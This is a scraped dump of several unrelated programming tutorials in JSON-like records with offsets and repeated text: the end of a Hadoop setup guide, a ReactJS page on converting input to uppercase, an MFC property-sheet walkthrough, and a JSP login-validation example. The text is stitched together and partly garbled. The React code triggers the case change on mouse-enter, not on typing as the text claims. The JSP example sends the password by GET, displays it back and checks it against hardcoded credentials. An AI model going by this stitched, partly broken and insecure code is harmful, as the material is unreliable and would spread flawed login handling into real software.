"$ start-dfs.sh\n" }, { "code": null, "e": 9291, "s": 9255, "text": "The expected output is as follows −" }, { "code": null, "e": 9603, "s": 9291, "text": "10/24/14 21:37:56\nStarting namenodes on [localhost]\nlocalhost: starting namenode, logging to /home/hadoop/hadoop-\n2.4.1/logs/hadoop-hadoop-namenode-localhost.out\nlocalhost: starting datanode, logging to /home/hadoop/hadoop-\n2.4.1/logs/hadoop-hadoop-datanode-localhost.out\nStarting secondary namenodes [0.0.0.0]\n" }, { "code": null, "e": 9712, "s": 9603, "text": "The following command is used to start the yarn script. Executing this command will start your yarn daemons." }, { "code": null, "e": 9729, "s": 9712, "text": "$ start-yarn.sh\n" }, { "code": null, "e": 9765, "s": 9729, "text": "The expected output is as follows −" }, { "code": null, "e": 10014, "s": 9765, "text": "starting yarn daemons\nstarting resourcemanager, logging to /home/hadoop/hadoop-\n2.4.1/logs/yarn-hadoop-resourcemanager-localhost.out\nlocalhost: starting node manager, logging to /home/hadoop/hadoop-\n2.4.1/logs/yarn-hadoop-nodemanager-localhost.out\n" }, { "code": null, "e": 10127, "s": 10014, "text": "The default port number to access Hadoop is 50070. Use the following URL to get Hadoop services on your browser." }, { "code": null, "e": 10152, "s": 10127, "text": "http://localhost:50070/\n" }, { "code": null, "e": 10203, "s": 10152, "text": "The following screenshot shows the Hadoop browser." }, { "code": null, "e": 10323, "s": 10203, "text": "The default port number to access all the applications of a cluster is 8088. Use the following URL to use this service." }, { "code": null, "e": 10347, "s": 10323, "text": "http://localhost:8088/\n" }, { "code": null, "e": 10404, "s": 10347, "text": "The following screenshot shows a Hadoop cluster browser." }, { "code": null, "e": 10439, "s": 10404, "text": "\n 21 Lectures \n 2.5 hours \n" }, { "code": null, "e": 10452, "s": 10439, "text": " Zach Miller" }, { "code": null, "e": 10485, "s": 10452, "text": "\n 17 Lectures \n 2 hours \n" }, { "code": null, "e": 10498, "s": 10485, "text": " Lisa Newton" }, { "code": null, "e": 10531, "s": 10498, "text": "\n 37 Lectures \n 2 hours \n" }, { "code": null, "e": 10545, "s": 10531, "text": " Sentinel | 9" }, { "code": null, "e": 10578, "s": 10545, "text": "\n 63 Lectures \n 7 hours \n" }, { "code": null, "e": 10591, "s": 10578, "text": " Stevdza-San" }, { "code": null, "e": 10626, "s": 10591, "text": "\n 16 Lectures \n 1.5 hours \n" }, { "code": null, "e": 10640, "s": 10626, "text": " Paul Nicoara" }, { "code": null, "e": 10672, "s": 10640, "text": "\n 17 Lectures \n 50 mins\n" }, { "code": null, "e": 10687, "s": 10672, "text": " Damtew Engida" }, { "code": null, "e": 10694, "s": 10687, "text": " Print" }, { "code": null, "e": 10705, "s": 10694, "text": " Add Notes" } ]
How to convert LowerCase values to UpperCase in Input Field using ReactJS ? - GeeksforGeeks
19 Sep, 2021 Sometimes we see that even we type in lowercase in form fields but they automatically become uppercase. Today we will achieve that functionality in this article. Given an input textarea and the task is to transform the lowercase characters into uppercase characters while taking input from user. It can be done using React. Approach: Using event listener, we will change lower case values to uppercase. When user begins to type, an onChange event is created, we are updating the state of value with the upperCase value of the entered value using toUpperCase() function. This updated value is made to reflect in the form after user completes it entry . Function used: toUpperCase() It converts LowerCase string values to UpperCase. Creating React app: Step 1: execute Create react app using the following command. npx create-react-app my-first-app Step 2: Change directory to that folder by executing the command : cd my-first-app Step 3: Install the following dependencies. npm install react npm install useState Project Structure: Step 4: Importing <CapitalLetter /> component in root component. File Name: App.js Javascript function App() { return ( <div className="App"> <CapitalLetter/> </div> );} export default App; Step 5: Using event listener, we will change lower case values to uppercase. File Name: CapitalLetter.jsx Javascript import React, { useState } from 'react'function CapitalLetter(){ const[username,setUsername]=useState(''); const handleInput=(event)=>{ event.preventDefault(); setUsername(event.target.value); } const changeCase=(event)=>{ event.preventDefault(); setUsername(event.target.value.toUpperCase()); } return( <div> <div class="container"> <h1>Sign In</h1> <form method="post" class="-group form-group"> <label for="username">Username:</label> <input type="text" name="username" id="username" value={username} onChange={handleInput} onMouseEnter={changeCase}> </input> <label for="password">Password:</label> <input type="password" name="password" id="password" /> <i class="bi bi-eye-slash" id="togglePassword"></i> <br></br> <button type="submit" id="submit" class="btn btn-primary"> Log In </button> </form> </div> </div> )} export default CapitalLetter; Step to run the application: Run the following command in terminal. npm start Output: Type localhost:3000 in browser Blogathon-2021 React-Questions Blogathon ReactJS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments How to Import JSON Data into SQL Server? How to Install Tkinter in Windows? How to Create a Table With Multiple Foreign Keys in SQL? How to pass data into table from a form using React Components SQL - Multiple Column Ordering How to fetch data from an API in ReactJS ? How to redirect to another page in ReactJS ? How to pass data from child component to its parent in ReactJS ? Create a Responsive Navbar using ReactJS How to pass data from one component to other component in ReactJS ?
[ { "code": null, "e": 24435, "s": 24407, "text": "\n19 Sep, 2021" }, { "code": null, "e": 24597, "s": 24435, "text": "Sometimes we see that even we type in lowercase in form fields but they automatically become uppercase. Today we will achieve that functionality in this article." }, { "code": null, "e": 24759, "s": 24597, "text": "Given an input textarea and the task is to transform the lowercase characters into uppercase characters while taking input from user. It can be done using React." }, { "code": null, "e": 24769, "s": 24759, "text": "Approach:" }, { "code": null, "e": 24838, "s": 24769, "text": "Using event listener, we will change lower case values to uppercase." }, { "code": null, "e": 25005, "s": 24838, "text": "When user begins to type, an onChange event is created, we are updating the state of value with the upperCase value of the entered value using toUpperCase() function." }, { "code": null, "e": 25087, "s": 25005, "text": "This updated value is made to reflect in the form after user completes it entry ." }, { "code": null, "e": 25102, "s": 25087, "text": "Function used:" }, { "code": null, "e": 25116, "s": 25102, "text": "toUpperCase()" }, { "code": null, "e": 25166, "s": 25116, "text": "It converts LowerCase string values to UpperCase." }, { "code": null, "e": 25186, "s": 25166, "text": "Creating React app:" }, { "code": null, "e": 25248, "s": 25186, "text": "Step 1: execute Create react app using the following command." }, { "code": null, "e": 25282, "s": 25248, "text": "npx create-react-app my-first-app" }, { "code": null, "e": 25349, "s": 25282, "text": "Step 2: Change directory to that folder by executing the command :" }, { "code": null, "e": 25365, "s": 25349, "text": "cd my-first-app" }, { "code": null, "e": 25409, "s": 25365, "text": "Step 3: Install the following dependencies." }, { "code": null, "e": 25448, "s": 25409, "text": "npm install react\nnpm install useState" }, { "code": null, "e": 25467, "s": 25448, "text": "Project Structure:" }, { "code": null, "e": 25532, "s": 25467, "text": "Step 4: Importing <CapitalLetter /> component in root component." }, { "code": null, "e": 25550, "s": 25532, "text": "File Name: App.js" }, { "code": null, "e": 25561, "s": 25550, "text": "Javascript" }, { "code": "function App() { return ( <div className=\"App\"> <CapitalLetter/> </div> );} export default App;", "e": 25681, "s": 25561, "text": null }, { "code": null, "e": 25758, "s": 25681, "text": "Step 5: Using event listener, we will change lower case values to uppercase." }, { "code": null, "e": 25787, "s": 25758, "text": "File Name: CapitalLetter.jsx" }, { "code": null, "e": 25798, "s": 25787, "text": "Javascript" }, { "code": "import React, { useState } from 'react'function CapitalLetter(){ const[username,setUsername]=useState(''); const handleInput=(event)=>{ event.preventDefault(); setUsername(event.target.value); } const changeCase=(event)=>{ event.preventDefault(); setUsername(event.target.value.toUpperCase()); } return( <div> <div class=\"container\"> <h1>Sign In</h1> <form method=\"post\" class=\"-group form-group\"> <label for=\"username\">Username:</label> <input type=\"text\" name=\"username\" id=\"username\" value={username} onChange={handleInput} onMouseEnter={changeCase}> </input> <label for=\"password\">Password:</label> <input type=\"password\" name=\"password\" id=\"password\" /> <i class=\"bi bi-eye-slash\" id=\"togglePassword\"></i> <br></br> <button type=\"submit\" id=\"submit\" class=\"btn btn-primary\"> Log In </button> </form> </div> </div> )} export default CapitalLetter;", "e": 26861, "s": 25798, "text": null }, { "code": null, "e": 26929, "s": 26861, "text": "Step to run the application: Run the following command in terminal." }, { "code": null, "e": 26939, "s": 26929, "text": "npm start" }, { "code": null, "e": 26978, "s": 26939, "text": "Output: Type localhost:3000 in browser" }, { "code": null, "e": 26993, "s": 26978, "text": "Blogathon-2021" }, { "code": null, "e": 27009, "s": 26993, "text": "React-Questions" }, { "code": null, "e": 27019, "s": 27009, "text": "Blogathon" }, { "code": null, "e": 27027, "s": 27019, "text": "ReactJS" }, { "code": null, "e": 27044, "s": 27027, "text": "Web Technologies" }, { "code": null, "e": 27142, "s": 27044, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27151, "s": 27142, "text": "Comments" }, { "code": null, "e": 27164, "s": 27151, "text": "Old Comments" }, { "code": null, "e": 27205, "s": 27164, "text": "How to Import JSON Data into SQL Server?" }, { "code": null, "e": 27240, "s": 27205, "text": "How to Install Tkinter in Windows?" }, { "code": null, "e": 27297, "s": 27240, "text": "How to Create a Table With Multiple Foreign Keys in SQL?" }, { "code": null, "e": 27360, "s": 27297, "text": "How to pass data into table from a form using React Components" }, { "code": null, "e": 27391, "s": 27360, "text": "SQL - Multiple Column Ordering" }, { "code": null, "e": 27434, "s": 27391, "text": "How to fetch data from an API in ReactJS ?" }, { "code": null, "e": 27479, "s": 27434, "text": "How to redirect to another page in ReactJS ?" }, { "code": null, "e": 27544, "s": 27479, "text": "How to pass data from child component to its parent in ReactJS ?" }, { "code": null, "e": 27585, "s": 27544, "text": "Create a Responsive Navbar using ReactJS" } ]
MFC - Property Sheets
A property sheet, also known as a tab dialog box, is a dialog box that contains property pages. Each property page is based on a dialog template resource and contains controls. It is enclosed on a page with a tab on top. The tab names the page and indicates its purpose. Users click a tab in the property sheet to select a set of controls. To create property pages, let us look into a simple example by creating a dialog based MFC project. Once the project is created, we need to add some property pages. Visual Studio makes it easy to create resources for property pages by displaying the Add Resource dialog box, expanding the Dialog node and selecting one of the IDD_PROPPAGE_X items. Step 1 − Right-click on your project in solution explorer and select Add → Resources. Step 2 − Select the IDD_PROPPAGE_LARGE and click NEW. Step 3 − Let us change ID and Caption of this property page to IDD_PROPPAGE_1 and Property Page 1 respectively as shown above. Step 4 − Right-click on the property page in designer window. Step 5 − Select the Add Class option. Step 6 − Enter the class name and select CPropertyPage from base class dropdown list. Step 7 − Click Finish to continue. Step 8 − Add one more property page with ID IDD_PROPPAGE_2 and Caption Property Page 2 by following the above mentioned steps. Step 9 − You can now see two property pages created. To implement its functionality, we need a property sheet. The Property Sheet groups the property pages together and keeps it as entity. To create a property sheet, follow the steps given below − Step 1 − Right-click on your project and select Add > Class menu options. Step 2 − Select Visual C++ → MFC from the left pane and MFC Class in the template pane and click Add. Step 3 − Enter the class name and select CPropertySheet from base class dropdown list. Step 4 − Click finish to continue. Step 5 − To launch this property sheet, we need the following changes in our main project class. Step 6 − Add the following references in CMFCPropSheetDemo.cpp file. #include "MySheet.h" #include "PropPage1.h" #include "PropPage2.h" Step 7 − Modify the CMFCPropSheetDemoApp::InitInstance() method as shown in the following code. CMySheet mySheet(L"Property Sheet Demo"); CPropPage1 page1; CPropPage2 page2; mySheet.AddPage(&page1); mySheet.AddPage(&page2); m_pMainWnd = &mySheet; INT_PTR nResponse = mySheet.DoModal(); Step 8 − Here is the complete implementation of CMFCPropSheetDemo.cpp file. // MFCPropSheetDemo.cpp : Defines the class behaviors for the application. // #include "stdafx.h" #include "MFCPropSheetDemo.h" #include "MFCPropSheetDemoDlg.h" #include "MySheet.h" #include "PropPage1.h" #include "PropPage2.h" #ifdef _DEBUG #define new DEBUG_NEW #endif // CMFCPropSheetDemoApp BEGIN_MESSAGE_MAP(CMFCPropSheetDemoApp, CWinApp) ON_COMMAND(ID_HELP, &CWinApp::OnHelp) END_MESSAGE_MAP() // CMFCPropSheetDemoApp construction CMFCPropSheetDemoApp::CMFCPropSheetDemoApp() { // support Restart Manager m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART; // TODO: add construction code here, // Place all significant initialization in InitInstance } // The one and only CMFCPropSheetDemoApp object CMFCPropSheetDemoApp theApp; // CMFCPropSheetDemoApp initialization BOOL CMFCPropSheetDemoApp::InitInstance() { // InitCommonControlsEx() is required on Windows XP if an application // manifest specifies use of ComCtl32.dll version 6 or later to enable // visual styles. Otherwise, any window creation will fail. INITCOMMONCONTROLSEX InitCtrls; InitCtrls.dwSize = sizeof(InitCtrls); // Set this to include all the common control classes you want to use // in your application. InitCtrls.dwICC = ICC_WIN95_CLASSES; InitCommonControlsEx(&InitCtrls); CWinApp::InitInstance(); AfxEnableControlContainer(); // Create the shell manager, in case the dialog contains // any shell tree view or shell list view controls. CShellManager *pShellManager = new CShellManager; // Activate "Windows Native" visual manager for enabling themes in MFC controls CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows)); // Standard initialization // If you are not using these features and wish to reduce the size // of your final executable, you should remove from the following // the specific initialization routines you do not need // Change the registry key under which our settings are stored // TODO: You should modify this string to be something appropriate // such as the name of your company or organization SetRegistryKey(_T("Local AppWizard-Generated Applications")); CMySheet mySheet(L"Property Sheet Demo"); CPropPage1 page1; CPropPage2 page2; mySheet.AddPage(&page1); mySheet.AddPage(&page2); m_pMainWnd = &mySheet; INT_PTR nResponse = mySheet.DoModal(); if (nResponse == IDOK) { // TODO: Place code here to handle when the dialog is // dismissed with OK }else if (nResponse == IDCANCEL) { // TODO: Place code here to handle when the dialog is // dismissed with Cancel }else if (nResponse == -1) { TRACE(traceAppMsg, 0, "Warning: dialog creation failed, so application is terminating unexpectedly.\n"); TRACE(traceAppMsg, 0, "Warning: if you are using MFC controls on the dialog, you cannot #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS.\n"); } // Delete the shell manager created above. if (pShellManager != NULL) { delete pShellManager; } // Since the dialog has been closed, return FALSE so that we exit the // application, rather than start the application's message pump. return FALSE; } Step 9 − When the above code is compiled and executed, you will see the following dialog box. This dialog box contains two property pages. Print Add Notes Bookmark this page
[ { "code": null, "e": 2407, "s": 2067, "text": "A property sheet, also known as a tab dialog box, is a dialog box that contains property pages. Each property page is based on a dialog template resource and contains controls. It is enclosed on a page with a tab on top. The tab names the page and indicates its purpose. Users click a tab in the property sheet to select a set of controls." }, { "code": null, "e": 2507, "s": 2407, "text": "To create property pages, let us look into a simple example by creating a dialog based MFC project." }, { "code": null, "e": 2572, "s": 2507, "text": "Once the project is created, we need to add some property pages." }, { "code": null, "e": 2755, "s": 2572, "text": "Visual Studio makes it easy to create resources for property pages by displaying the Add Resource dialog box, expanding the Dialog node and selecting one of the IDD_PROPPAGE_X items." }, { "code": null, "e": 2841, "s": 2755, "text": "Step 1 − Right-click on your project in solution explorer and select Add → Resources." }, { "code": null, "e": 2895, "s": 2841, "text": "Step 2 − Select the IDD_PROPPAGE_LARGE and click NEW." }, { "code": null, "e": 3022, "s": 2895, "text": "Step 3 − Let us change ID and Caption of this property page to IDD_PROPPAGE_1 and Property Page 1 respectively as shown above." }, { "code": null, "e": 3084, "s": 3022, "text": "Step 4 − Right-click on the property page in designer window." }, { "code": null, "e": 3122, "s": 3084, "text": "Step 5 − Select the Add Class option." }, { "code": null, "e": 3208, "s": 3122, "text": "Step 6 − Enter the class name and select CPropertyPage from base class dropdown list." }, { "code": null, "e": 3243, "s": 3208, "text": "Step 7 − Click Finish to continue." }, { "code": null, "e": 3370, "s": 3243, "text": "Step 8 − Add one more property page with ID IDD_PROPPAGE_2 and Caption Property Page 2 by following the above mentioned steps." }, { "code": null, "e": 3481, "s": 3370, "text": "Step 9 − You can now see two property pages created. To implement its functionality, we need a property sheet." }, { "code": null, "e": 3559, "s": 3481, "text": "The Property Sheet groups the property pages together and keeps it as entity." }, { "code": null, "e": 3618, "s": 3559, "text": "To create a property sheet, follow the steps given below −" }, { "code": null, "e": 3692, "s": 3618, "text": "Step 1 − Right-click on your project and select Add > Class menu options." }, { "code": null, "e": 3794, "s": 3692, "text": "Step 2 − Select Visual C++ → MFC from the left pane and MFC Class in the template pane and click Add." }, { "code": null, "e": 3881, "s": 3794, "text": "Step 3 − Enter the class name and select CPropertySheet from base class dropdown list." }, { "code": null, "e": 3916, "s": 3881, "text": "Step 4 − Click finish to continue." }, { "code": null, "e": 4013, "s": 3916, "text": "Step 5 − To launch this property sheet, we need the following changes in our main project class." }, { "code": null, "e": 4082, "s": 4013, "text": "Step 6 − Add the following references in CMFCPropSheetDemo.cpp file." }, { "code": null, "e": 4149, "s": 4082, "text": "#include \"MySheet.h\"\n#include \"PropPage1.h\"\n#include \"PropPage2.h\"" }, { "code": null, "e": 4245, "s": 4149, "text": "Step 7 − Modify the CMFCPropSheetDemoApp::InitInstance() method as shown in the following code." }, { "code": null, "e": 4437, "s": 4245, "text": "CMySheet mySheet(L\"Property Sheet Demo\");\nCPropPage1 page1;\nCPropPage2 page2;\n\nmySheet.AddPage(&page1);\nmySheet.AddPage(&page2);\n\nm_pMainWnd = &mySheet;\nINT_PTR nResponse = mySheet.DoModal();" }, { "code": null, "e": 4513, "s": 4437, "text": "Step 8 − Here is the complete implementation of CMFCPropSheetDemo.cpp file." }, { "code": null, "e": 7790, "s": 4513, "text": "\n// MFCPropSheetDemo.cpp : Defines the class behaviors for the application.\n//\n#include \"stdafx.h\"\n#include \"MFCPropSheetDemo.h\"\n#include \"MFCPropSheetDemoDlg.h\"\n#include \"MySheet.h\"\n#include \"PropPage1.h\"\n#include \"PropPage2.h\"\n\n#ifdef _DEBUG\n#define new DEBUG_NEW\n#endif\n\n\n// CMFCPropSheetDemoApp\nBEGIN_MESSAGE_MAP(CMFCPropSheetDemoApp, CWinApp)\n ON_COMMAND(ID_HELP, &CWinApp::OnHelp)\nEND_MESSAGE_MAP()\n\n\n// CMFCPropSheetDemoApp construction\n\nCMFCPropSheetDemoApp::CMFCPropSheetDemoApp() {\n\n // support Restart Manager\n m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;\n // TODO: add construction code here,\n // Place all significant initialization in InitInstance\n}\n\n\n// The one and only CMFCPropSheetDemoApp object\n\nCMFCPropSheetDemoApp theApp;\n\n\n// CMFCPropSheetDemoApp initialization\n\nBOOL CMFCPropSheetDemoApp::InitInstance() {\n \n // InitCommonControlsEx() is required on Windows XP if an application\n // manifest specifies use of ComCtl32.dll version 6 or later to enable\n // visual styles. Otherwise, any window creation will fail.\n INITCOMMONCONTROLSEX InitCtrls;\n InitCtrls.dwSize = sizeof(InitCtrls);\n // Set this to include all the common control classes you want to use\n // in your application.\n InitCtrls.dwICC = ICC_WIN95_CLASSES;\n InitCommonControlsEx(&InitCtrls);\n \n CWinApp::InitInstance();\n \n \n AfxEnableControlContainer();\n \n // Create the shell manager, in case the dialog contains\n // any shell tree view or shell list view controls.\n CShellManager *pShellManager = new CShellManager;\n\n // Activate \"Windows Native\" visual manager for enabling themes in MFC controls\n CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows));\n // Standard initialization\n // If you are not using these features and wish to reduce the size\n // of your final executable, you should remove from the following\n // the specific initialization routines you do not need\n // Change the registry key under which our settings are stored\n // TODO: You should modify this string to be something appropriate\n // such as the name of your company or organization\n SetRegistryKey(_T(\"Local AppWizard-Generated Applications\"));\n \n CMySheet mySheet(L\"Property Sheet Demo\");\n CPropPage1 page1;\n CPropPage2 page2;\n \n mySheet.AddPage(&page1);\n mySheet.AddPage(&page2);\n \n m_pMainWnd = &mySheet;\n INT_PTR nResponse = mySheet.DoModal();\n if (nResponse == IDOK) {\n // TODO: Place code here to handle when the dialog is\n // dismissed with OK\n }else if (nResponse == IDCANCEL) {\n // TODO: Place code here to handle when the dialog is\n // dismissed with Cancel\n }else if (nResponse == -1) { \n TRACE(traceAppMsg, 0, \"Warning: dialog creation failed, \n so application is terminating unexpectedly.\\n\");\n TRACE(traceAppMsg, 0, \"Warning: if you are using MFC controls on the dialog, \n you cannot #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS.\\n\");\n }\n\n // Delete the shell manager created above.\n if (pShellManager != NULL) {\n delete pShellManager;\n }\n\n // Since the dialog has been closed, return FALSE so that we exit the\n // application, rather than start the application's message pump.\n return FALSE;\n}" }, { "code": null, "e": 7929, "s": 7790, "text": "Step 9 − When the above code is compiled and executed, you will see the following dialog box. This dialog box contains two property pages." }, { "code": null, "e": 7936, "s": 7929, "text": " Print" }, { "code": null, "e": 7947, "s": 7936, "text": " Add Notes" } ]
Program to validate a user using JSP - GeeksforGeeks
12 Jun, 2018 Introduction to JSP : JSP(Java Server Page) is a server-side technology, used for developing webpages that support dynamic content. It enables the separation of dynamic and static content, thereby reducing development complexity. Developers are thus, armed with the power to insert java code in HTML pages by employing special JSP tags most of which start with <% and end with %>. It may further be noted here that JSP’s are built on top of Java Servlet API and also allow tags that begin with <jsp:name_of_tag> and end with </jsp:name_of_tag> Tags thus determine how the code within them will behave. Here the power of JSP will be harnessed in order to Validate a user from his username and password. The user will initially be entering his username and password in a JSP form provided. The data will then be passed to another JSP to get the java bean object from the given scope or create a new object of java bean. The bean properties will then be set using the form data and verified using another java class. Finally, the result of verification will be displayed. In this, the JSP Action tags are used to achieve the above purpose. JSP tags are specifically used during request processing. The tags used here will be as follows :jsp:useBean: It will be used to create the java bean and instantiate it.jsp:setProperty: It will be used to set the property of the created bean, using the form data.jsp:getProperty: It will be used to display the details entered. It may be noted here that, all actions tags use the id attribute to uniquely identify an action element and refer to it inside the JSP page.The program has been tested on Netbeans IDE 8.1 using Apache Tomcat as the application server. Steps to Validate a User: We click the link on index.html page to deploy the application.We are then presented with a form, where we enter username and password and click submit.The JSP gets automatically called and it returns the data entered in the form and the result of Validation. We click the link on index.html page to deploy the application. We are then presented with a form, where we enter username and password and click submit. The JSP gets automatically called and it returns the data entered in the form and the result of Validation. Form to accept username and password : login.jsp <%@page contentType="text/html" pageEncoding="UTF-8"%><!DOCTYPE html><html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login Page</title> </head> <body> <h1>User Details</h1> <%-- The form data will be passed to acceptuser.jsp for validation on clicking submit --%> <form method ="get" action="acceptuser.jsp"> Enter Username : <input type="text" name="user"><br/><br/> Enter Password : <input type="password" name ="pass"><br/> <input type ="submit" value="SUBMIT"> </form> </body></html> JSP to accept form data and verify a user : acceptuser.jsp <%@page contentType="text/html" pageEncoding="UTF-8"%><!DOCTYPE html><html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Accept User Page</title> </head> <body> <h1>Verifying Details</h1> <%-- Include the ValidateUser.java class whose method boolean validate(String, String) we will be using --%> <%-- Create and instantiate a bean and assign an id to uniquely identify the action element throughout the jsp --%> <jsp:useBean id="snr" class="saagnik.ValidateUser"/> <%-- Set the value of the created bean using form data --%> <jsp:setProperty name="snr" property="user"/> <jsp:setProperty name="snr" property="pass"/> <%-- Display the form data --%> The Details Entered Are as Under<br/> <p>Username : <jsp:getProperty name="snr" property="user"/></p> <p>Password : <jsp:getProperty name="snr" property="pass"/></p> <%-- Validate the user using the validate() of ValidateUser.java class --%> <%if(snr.validate("GeeksforGeeks", "GfG")){%> Welcome! You are a VALID USER<br/> <%}else{%> Error! You are an INVALID USER<br/> <%}%> </body></html> The ValidateUser.java class package saagnik;import java.io.Serializable; // To persist the data for future use,// implement serializablepublic class ValidateUser implements Serializable { private String user, pass; // Methods to set username and password // according to form data public void setUser(String u1) { this.user = u1; } public void setPass(String p1) { this.pass = p1; } // Methods to obtain back the values set // by setter methods public String getUser() { return user; } public String getPass() { return pass; } // Method to validate a user public boolean validate(String u1, String p1) { if (u1.equals(user) && p1.equals(pass)) return true; else return false; }} Outputs:login.jsp Next on clicking ‘SUBMIT’ button following page is generated.acceptuser.jsp Java-JSP Java Java Programs Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Interfaces in Java Initialize an ArrayList in Java ArrayList in Java Stack Class in Java Multidimensional Arrays in Java Convert a String to Character array in Java Initializing a List in Java Java Programming Examples Convert Double to Integer in Java Implementing a Linked List in Java using Class
[ { "code": null, "e": 24089, "s": 24061, "text": "\n12 Jun, 2018" }, { "code": null, "e": 24584, "s": 24089, "text": "Introduction to JSP : JSP(Java Server Page) is a server-side technology, used for developing webpages that support dynamic content. It enables the separation of dynamic and static content, thereby reducing development complexity. Developers are thus, armed with the power to insert java code in HTML pages by employing special JSP tags most of which start with <% and end with %>. It may further be noted here that JSP’s are built on top of Java Servlet API and also allow tags that begin with " }, { "code": "<jsp:name_of_tag>", "e": 24602, "s": 24584, "text": null }, { "code": null, "e": 24616, "s": 24602, "text": "and end with " }, { "code": "</jsp:name_of_tag>", "e": 24635, "s": 24616, "text": null }, { "code": null, "e": 24693, "s": 24635, "text": "Tags thus determine how the code within them will behave." }, { "code": null, "e": 25160, "s": 24693, "text": "Here the power of JSP will be harnessed in order to Validate a user from his username and password. The user will initially be entering his username and password in a JSP form provided. The data will then be passed to another JSP to get the java bean object from the given scope or create a new object of java bean. The bean properties will then be set using the form data and verified using another java class. Finally, the result of verification will be displayed." }, { "code": null, "e": 25556, "s": 25160, "text": "In this, the JSP Action tags are used to achieve the above purpose. JSP tags are specifically used during request processing. The tags used here will be as follows :jsp:useBean: It will be used to create the java bean and instantiate it.jsp:setProperty: It will be used to set the property of the created bean, using the form data.jsp:getProperty: It will be used to display the details entered." }, { "code": null, "e": 25791, "s": 25556, "text": "It may be noted here that, all actions tags use the id attribute to uniquely identify an action element and refer to it inside the JSP page.The program has been tested on Netbeans IDE 8.1 using Apache Tomcat as the application server." }, { "code": null, "e": 25817, "s": 25791, "text": "Steps to Validate a User:" }, { "code": null, "e": 26077, "s": 25817, "text": "We click the link on index.html page to deploy the application.We are then presented with a form, where we enter username and password and click submit.The JSP gets automatically called and it returns the data entered in the form and the result of Validation." }, { "code": null, "e": 26141, "s": 26077, "text": "We click the link on index.html page to deploy the application." }, { "code": null, "e": 26231, "s": 26141, "text": "We are then presented with a form, where we enter username and password and click submit." }, { "code": null, "e": 26339, "s": 26231, "text": "The JSP gets automatically called and it returns the data entered in the form and the result of Validation." }, { "code": null, "e": 26388, "s": 26339, "text": "Form to accept username and password : login.jsp" }, { "code": "<%@page contentType=\"text/html\" pageEncoding=\"UTF-8\"%><!DOCTYPE html><html> <head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"> <title>Login Page</title> </head> <body> <h1>User Details</h1> <%-- The form data will be passed to acceptuser.jsp for validation on clicking submit --%> <form method =\"get\" action=\"acceptuser.jsp\"> Enter Username : <input type=\"text\" name=\"user\"><br/><br/> Enter Password : <input type=\"password\" name =\"pass\"><br/> <input type =\"submit\" value=\"SUBMIT\"> </form> </body></html> ", "e": 27036, "s": 26388, "text": null }, { "code": null, "e": 27095, "s": 27036, "text": "JSP to accept form data and verify a user : acceptuser.jsp" }, { "code": "<%@page contentType=\"text/html\" pageEncoding=\"UTF-8\"%><!DOCTYPE html><html> <head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"> <title>Accept User Page</title> </head> <body> <h1>Verifying Details</h1> <%-- Include the ValidateUser.java class whose method boolean validate(String, String) we will be using --%> <%-- Create and instantiate a bean and assign an id to uniquely identify the action element throughout the jsp --%> <jsp:useBean id=\"snr\" class=\"saagnik.ValidateUser\"/> <%-- Set the value of the created bean using form data --%> <jsp:setProperty name=\"snr\" property=\"user\"/> <jsp:setProperty name=\"snr\" property=\"pass\"/> <%-- Display the form data --%> The Details Entered Are as Under<br/> <p>Username : <jsp:getProperty name=\"snr\" property=\"user\"/></p> <p>Password : <jsp:getProperty name=\"snr\" property=\"pass\"/></p> <%-- Validate the user using the validate() of ValidateUser.java class --%> <%if(snr.validate(\"GeeksforGeeks\", \"GfG\")){%> Welcome! You are a VALID USER<br/> <%}else{%> Error! You are an INVALID USER<br/> <%}%> </body></html>", "e": 28416, "s": 27095, "text": null }, { "code": null, "e": 28444, "s": 28416, "text": "The ValidateUser.java class" }, { "code": "package saagnik;import java.io.Serializable; // To persist the data for future use,// implement serializablepublic class ValidateUser implements Serializable { private String user, pass; // Methods to set username and password // according to form data public void setUser(String u1) { this.user = u1; } public void setPass(String p1) { this.pass = p1; } // Methods to obtain back the values set // by setter methods public String getUser() { return user; } public String getPass() { return pass; } // Method to validate a user public boolean validate(String u1, String p1) { if (u1.equals(user) && p1.equals(pass)) return true; else return false; }}", "e": 29179, "s": 28444, "text": null }, { "code": null, "e": 29197, "s": 29179, "text": "Outputs:login.jsp" }, { "code": null, "e": 29273, "s": 29197, "text": "Next on clicking ‘SUBMIT’ button following page is generated.acceptuser.jsp" }, { "code": null, "e": 29282, "s": 29273, "text": "Java-JSP" }, { "code": null, "e": 29287, "s": 29282, "text": "Java" }, { "code": null, "e": 29301, "s": 29287, "text": "Java Programs" }, { "code": null, "e": 29306, "s": 29301, "text": "Java" }, { "code": null, "e": 29404, "s": 29306, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29413, "s": 29404, "text": "Comments" }, { "code": null, "e": 29426, "s": 29413, "text": "Old Comments" }, { "code": null, "e": 29445, "s": 29426, "text": "Interfaces in Java" }, { "code": null, "e": 29477, "s": 29445, "text": "Initialize an ArrayList in Java" }, { "code": null, "e": 29495, "s": 29477, "text": "ArrayList in Java" }, { "code": null, "e": 29515, "s": 29495, "text": "Stack Class in Java" }, { "code": null, "e": 29547, "s": 29515, "text": "Multidimensional Arrays in Java" }, { "code": null, "e": 29591, "s": 29547, "text": "Convert a String to Character array in Java" }, { "code": null, "e": 29619, "s": 29591, "text": "Initializing a List in Java" }, { "code": null, "e": 29645, "s": 29619, "text": "Java Programming Examples" }, { "code": null, "e": 29679, "s": 29645, "text": "Convert Double to Integer in Java" } ]
Pointer Arithmetic in C/C++
